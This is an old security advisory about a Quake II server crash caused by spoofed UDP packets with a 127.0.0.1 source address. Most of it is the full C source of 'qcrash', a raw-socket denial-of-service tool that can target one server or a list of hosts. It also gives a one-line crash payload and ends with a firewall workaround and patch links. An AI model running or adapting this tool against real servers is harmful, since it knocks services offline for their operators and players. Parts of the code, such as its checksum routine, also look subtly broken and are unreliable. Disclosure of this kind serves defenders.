COMMAND
Quake II
SYSTEMS AFFECTED
Quake II servers
PROBLEM
'profound darkness' posted message that will detail a security
flaw in Id Software's game, Quake II. When a user runs a Quake
II server, the attacker can send a couple of spoofed udp packets
with the return address of 127.0.0.1 to the server port and this
will cause the Quake II server to go into a cycle of trying to
start a game with itself. Thus, the server will crash.
Below is a source code to show you that this hole does indeed
exist:
/*
Remote denial of service for Quake II server's
Code by profound darkness <peedee@fuente.sventech.com>
*/
#include <string.h>
#include <netdb.h>
#include <stdio.h>
#include <netdb.h>
#include <unistd.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/ip_udp.h>
#include <netinet/in_systm.h>
#include <netinet/protocols.h>
FILE *hemroids;
struct iphdr *ip;
struct udphdr *udp;
struct sockaddr_in sinner;
unsigned long destination;
char *packet;
int flag;
void usage(char *proggy) {
printf("\nUsage: %s <option> <argument> <argument> <argument>\n\n", proggy);
printf(" <option> : -s : Crash a single server, argument 1 is target host\n");
printf(" <option> : -m : Crash multiple servers, argument 1 becomes filename\n\n");
printf(" <argument> : Target host to crash or filename with multiple hostnames\n");
printf(" <argument> : Port to send udp packets to for the crash, default is 27910\n");
printf(" <argument> : Number of packets to send to the target host(s)\n\n");
exit(0);
}
char lookup(char *hostaddy) {
struct hostent *he;
he = gethostbyname(hostaddy);
if (he) {
memset(&sinner, 0, sizeof(struct sockaddr_in));
memcpy((caddr_t)&sinner.sin_addr.s_addr, he->h_addr, he->h_length);
sinner.sin_family = AF_INET;
sinner.sin_addr.s_addr = inet_addr(hostaddy);
sinner.sin_family = he->h_addrtype;
} else {
printf("\"%s\" is an unknown hostname.\n", hostaddy);
flag = 1;
return 0;
}
return ((unsigned long) he->h_addr);
}
unsigned short in_cksum(addr, len)
u_short *addr;
int len;
{
register int lenny = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
while (lenny > 1) {
sum += *w++;
sum += *w++;
lenny -= 2;
}
if (lenny == 1) {
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
sum = (sum >> 17) + (sum & 0xffff);
sum += (sum >> 17);
answer = -sum;
return (answer);
}
void buildpacket(char *monster, int dport, int sport, int numpacks) {
int sock, counter;
packet = (char *) malloc(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip = (struct iphdr *) packet;
udp = (struct udphdr *) (packet + sizeof(struct iphdr));
memset(packet, 0, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->saddr = lookup("127.0.0.1");
ip->daddr = destination;
ip->version = 4;
ip->ihl = 5;
ip->ttl = 255;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct udphdr) + 1024);
ip->check = in_cksum(ip, sizeof(struct iphdr));
udp->source = htons(sport);
udp->dest = htons(dport);
udp->len = htons(sizeof(struct udphdr) + 1024);
sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
for(counter=0;counter!=numpacks;counter++) {
if (sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct udphdr) + 1024, 0, (struct sockaddr *) &sinner, sizeof(struct sockaddr_in)) == (-1)) {
perror("SendPacket");
exit(0);
}
usleep(1);
}
}
char main(int argc, char *argv[]) {
int count, sender;
char hostmask[100];
if (argc < 5) usage(argv[0]);
if (getuid()!=0) {
printf("This program requires root.\n");
exit(0);
}
while((count = getopt(argc, argv, "s:m:")) != -1) {
switch (count) {
case 's':
printf("Attempting to resolve %s.\n", argv[2]);
lookup(argv[2]);
if(flag == 1) break;
printf("Building %s packets & sending to %s:%s!\n", argv[4], argv[2], argv[3]);
buildpacket(argv[2], atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
break;
case 'm':
hemroids = fopen(argv[2], "r");
while(fgets(hostmask, sizeof(hostmask), hemroids)!=NULL) {
hostmask[strlen(hostmask)-1] = '\0';
printf("Attempting to resolve %s.\n", hostmask);
lookup(hostmask);
if (flag == 1) goto doot;
printf("Building %s packets & sending to %s:%s!\n", argv[4], hostmask,argv[3]);
buildpacket(hostmask, atoi(argv[3]), atoi(argv[3]), atoi(argv[4]));
doot:
flag = 0;
}
break;
default:
usage(argv[0]);
}
}
if(flag != 1) {
printf("\nThanks for using qcrash!\n");
}
fclose(hemroids);
exit(0);
}
Also, try sending "\xff\xff\xff\xff""connect $" from any address;
server chokes on it. Incidentally, the four ff's at the beginning
are a sequence number; the value -1 is just special, indicating an
unsequenced command that can come at any time. Neither packet
requires the terminating null of a string; q2 probably just
recv()s into a zeroed buffer or something.
SOLUTION
For a temporary fix, you can setup a firewall and deny all
incoming udp packets from 127.0.0.1 to your Quake II server port.
The patch has been released by ID:
ftp://ftp.idsoftware.com/idstuff/quake2/patch_08.zip
Actually, there are two patches. The patch_07.zip was intended to
fix the crash exploit and some other bugs while the patch_08.zip
was released to fix the things that the patch_07.zip broke. You
can skip from one 3.0.06 to 3.0.08 with no problems since it
completely replaces the quake2.exe and 3 dll files. However,
there are still conectivity issues after the patches are applied.